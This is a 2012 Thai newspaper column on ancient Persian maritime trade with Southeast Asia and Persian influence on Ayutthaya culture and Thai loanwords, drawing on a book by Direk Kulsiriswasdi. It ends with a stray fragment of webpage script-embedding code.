มติชนรายวัน ฉบับประจำวันอังคารที่ 6 มีนาคม 2555

 

          อิหร่าน มีชื่อโบราณว่าเปอร์เซีย

          มีผู้รู้ค้นคว้าไว้ว่า ชาวเปอร์เซียมีความสามารถในการเดินเรือทะเลแถบคาบสมุทรอาหรับ (อฺรับ) จนถึงอินเดีย ตั้งแต่ราว พ.ศ. 22 หรือมากกว่า 2,500 ปีมาแล้ว

          จากนั้นไม่นานก็ขยายเส้นทางเดินเรือถึงเมืองจีน โดยแวะเกาะลังกา แล้วต้องแวะบริเวณสุวรรณภูมิในอุษาคเนย์

          ราวหลัง พ.ศ. 200 อเล็กซานเดอร์กษัตริย์กรีก ขยายอำนาจไปตามเส้นทางการค้าถึงอาณาจักรเปอร์เซียและอินเดีย (ส่งผลให้มีช่างกรีกทำพระพุทธรูปครั้งแรกในโลกตามแบบประติมากรรมเทวดากรีก)

          แต่สิ้นอเล็กซานเดอร์เสียก่อน ทำให้เปอร์เซียกับอินเดียควบคุมเส้นคมนาคมการค้าทางทะเลไปจีนโดยผ่านสุวรรณภูมิ-อุษาคเนย์

 

          วัฒนธรรมอินโด-เปอร์เซียก็แพร่สู่สุวรรณภูมิไม่ขาดสายแต่นั้นมา มีหลักฐานประวัติศาสตร์โบราณคดียืนยันมากมาย พบที่คาบสมุทรภาคใต้ เช่น ควนลูกปัด (อ. คลองท่อม จ. กระบี่) จนถึงลุ่มน้ำเจ้าพระยา ที่เมืองอู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี) และเมืองนครชัยศรี (อ. นครชัยศรี จ. นครปฐม) จนถึงยุคทวารวดีศรีวิชัย ราวหลัง พ.ศ. 1000 เข้าสู่ทวารวดีศรีอยุธยา ราวหลัง พ.ศ. 1600

          วัฒนธรรมเปอร์เซียมีในยุคอยุธยาหลายอย่าง เช่น สถาปัตยกรรม (ที่เข้าใจว่าเป็นฝรั่ง แท้จริงเป็นเปอร์เซีย), ศิลปกรรม เช่น มงกุฎและชฎา (มาจากลอมพอกของเปอร์เซีย) เสื้อผ้าอาภรณ์ เช่น เครื่องทรงพระเจ้าแผ่นดิน, เครื่องโขนละคร, ฯลฯ เครื่องดนตรี เช่น ซอสามสาย, รำมะนา ภาษา เช่น ตราชู (เครื่องชั่ง), จาระบี (มาจาก จัรฺบี), เสื้อครุย, อะไหล่, กะไหล่, กะลาสี, การบูร, องุ่น, ลูกเกด, สนม, บุหรี่, กุหลาบ, สบู่, กาแฟ, กุลี, ภาษี, ฯลฯ

          “ฝรั่ง”ที่หมายถึงชาวยุโรป เพี้ยนจากคำเปอร์เซียว่า ฟะรังงี farangi

          ทั้งหมดที่เขียนเล่ามานี้ ผมอ่านจากหนังสือความสัมพันธ์ของมุสลิมทางประวัติศาสตร์และวรรณคดีไทย ของ ดิเรก กุลสิริสวัสดิ์ (สำนักพิมพ์มติชน พิมพ์ครั้งที่สี่ พ.ศ. 2545)

 

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);